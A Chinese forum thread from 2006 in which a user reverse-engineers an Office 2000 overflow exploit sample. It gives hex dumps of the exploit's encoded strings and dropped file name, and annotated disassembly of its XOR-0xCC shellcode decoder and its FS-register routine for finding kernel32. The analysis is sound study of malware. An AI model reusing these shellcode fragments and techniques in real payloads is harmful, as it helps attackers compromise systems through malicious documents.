0023:0017125C 74 46 69 6C 65 53 69 7A-65 00 47 65 74 54 65 6D  tFileSize.GetTem
0023:0017126C 70 50 61 74 68 41 00 53-65 74 43 75 72 72 65 6E  pPathA.SetCurren
0023:0017127C 74 44 69 72 65 63 74 6F-72 79 41 00 0F 6D 73 6E  tDirectoryA..msn
0023:0017128C 6F 74 65 2E 65 78 65 00-00 65 00 00 2E 65 78 65  ote.exe..e...exe
0023:0017129C 00 00 CC CC CC CC CC CC-CC CC CC CC CC CC CC CC  ................

0023:00171267 A9 B8 98 A9 A1 BC 9C AD-B8 A4 8D CC 9F A9 B8 8F  ................
0023:00171277 B9 BE BE A9 A2 B8 88 A5-BE A9 AF B8 A3 BE B5 8D  ................
0023:00171287 CC C3 A1 BF A2 A3 B8 A9-E2 A9 B4 A9 CC CC A9 CC  ................
0023:00171297 CC E2 A9 B4 A9 CC CC 00-00 00 00 00 00 00 00 00  ................
0023:001712A7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:001712B7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:001712C7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:001712D7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:001712E7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:001712F7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:00171307 00 E8 08 00 00 00 CC CC-CC CC CC CC CC CC 59 5E  ..............Y^
0023:00171317 2B CE 8B FE 56 AC 34 CC-AA E2 FA C3 00 00 00 00  +...V.4.........
0023:00171327 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

0023:001715A7 00 00 00 00 00 00 00 00-01 00 11 00 00 40 00 00  .............@..

0023:0017130C CC CC CC CC CC CC CC CC-CC 59 5E 2B CE 8B FE 56  .........Y^+...V
0023:0017131C AC 34 CC AA E2 FA C3 00-00 00 00 00 00 00 00 00  .4..............

附件下载:下载
office 2000的溢出,里面捆绑exe文件不是木马

  • 标 题:答复
  • 作 者:softdebug
  • 时 间:2006-11-09 22:18

001B:00171315  59                  POP       ECX       ;结束位置
001B:00171316  5E                  POP       ESI       ;解开代码开始位置
001B:00171317  2BCE                SUB       ECX,ESI   ?;ecx解开代码的长度
001B:00171319  8BFE                MOV       EDI,ESI   ?;解开
001B:0017131B  56                  PUSH      ESI       ?;加密的
001B:0017131C  AC                  LODSB               ?;代码
001B:0017131D  34CC                XOR       AL,CC     ?;对代码数据xor cc
001B:0017131F  AA                  STOSB               ?;
001B:00171320  E2FA                LOOP      0017131C  ?;

  • 标 题:答复
  • 作 者:softdebug
  • 时 间:2006-11-09 22:19

001B:00170E2E  64AD                LODSD     FS:          ?;通过FS段
001B:00170E30  40                  INC       EAX          ?;积存器
001B:00170E31  7405                JZ        00170E38     ?;找到windows
001B:00170E33  48                  DEC       EAX          ?;系统空间
001B:00170E34  96                  XCHG      EAX,ESI      ?;位置
001B:00170E35  AD                  LODSD                  ?;
001B:00170E36  EBF8                JMP       00170E30     ?;


这个部分主要是利用fs积存器的存异常处理的地址,最初是kernel32的入口